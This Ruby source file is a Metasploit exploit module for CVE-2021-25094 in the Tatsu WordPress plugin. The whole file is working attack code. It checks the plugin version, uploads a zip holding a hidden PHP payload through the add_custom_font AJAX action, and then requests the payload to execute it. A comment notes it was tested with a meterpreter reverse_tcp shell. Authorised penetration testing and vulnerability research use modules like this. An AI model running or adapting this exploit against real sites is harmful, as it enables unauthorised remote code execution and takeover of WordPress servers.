## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Payload::Php include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Wordpress prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Tatsu Wordpress Plugin RCE', 'Description' => %q{ This module adds exploit for CVE-2021-25094 - unauthenticated remote code execution in Tatsu Wordpress plugin <= 3.3.11. Module uploads malicious zip with PHP payload that gets executed in second part of exploit. }, 'Author' => [ 'Vincent Michel', # Vulnerability discovery 'msutovsky-r7' # Metasploit module ], 'References' => [ ['CVE', '2021-25094'], ['EDB', '52260'] ], 'License' => MSF_LICENSE, 'Privileged' => false, 'Platform' => %w[php], 'Arch' => [ARCH_PHP], 'Targets' => [ [ 'PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP # tested with php/meterpreter/reverse_tcp } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2022-04-25', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK], 'Reliability' => [REPEATABLE_SESSION] } ) ) end def create_zip zip_file = Rex::Zip::Archive.new @payload_file = '.' + Rex::Text.rand_text_alphanumeric(12) + '.php' zip_file.add_file(@payload_file, payload.encoded) zip_file.pack end def upload_malicious_zip zip_payload = create_zip boundary = Rex::Text.rand_text_alphanumeric(32).to_s data_post = "--#{boundary}\r\n" data_post << "Content-Disposition: form-data; name=\"action\"\r\n\r\n" data_post << "add_custom_font\r\n" data_post << "--#{boundary}\r\n" data_post << "Content-Disposition: form-data; name=\"file\"; filename=\"#{Rex::Text.rand_text_alphanumeric(12)}.zip\"\r\n\r\n" data_post << "#{zip_payload}\r\n" data_post << "--#{boundary}--\r\n" res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri('wp-admin/admin-ajax.php'), 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => data_post }) fail_with Failure::Unknown, 'Unexpected response' unless res&.code == 200 json_content = res.get_json_document fail_with Failure::PayloadFailed, 'Failed to upload payload' unless json_content.fetch('status', nil) == 'success' @zip_name = json_content.fetch('name', nil) fail_with Failure::UnexpectedReply, 'Cannot get uploaded name' unless @zip_name end def trigger_payload send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri('/wp-content/uploads/typehub/custom/', @zip_name.downcase + '/', @payload_file) }) end def check return CheckCode::Unknown('Target not responding') unless wordpress_and_online? wp_version = wordpress_version print_status("Detected WordPress version: #{wp_version}") if wp_version res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('/wp-content/plugins/tatsu/changelog.md') }) return CheckCode::Unknown('Could not find tatsu plugin') unless res&.code == 200 changelog_body = res.body return CheckCode::Safe('Could not find tatsu plugin') if changelog_body.blank? return CheckCode::Detected('Tatsu plugin detected but it failed to get version') unless changelog_body.match(/v(\d\d?.\d\d?.\d\d?)/) version = Rex::Version.new(Regexp.last_match(1)) return CheckCode::Appears("Found version #{version}") if version <= Rex::Version.new('3.3.11') return CheckCode::Safe('Patched version detected') end def exploit upload_malicious_zip trigger_payload end end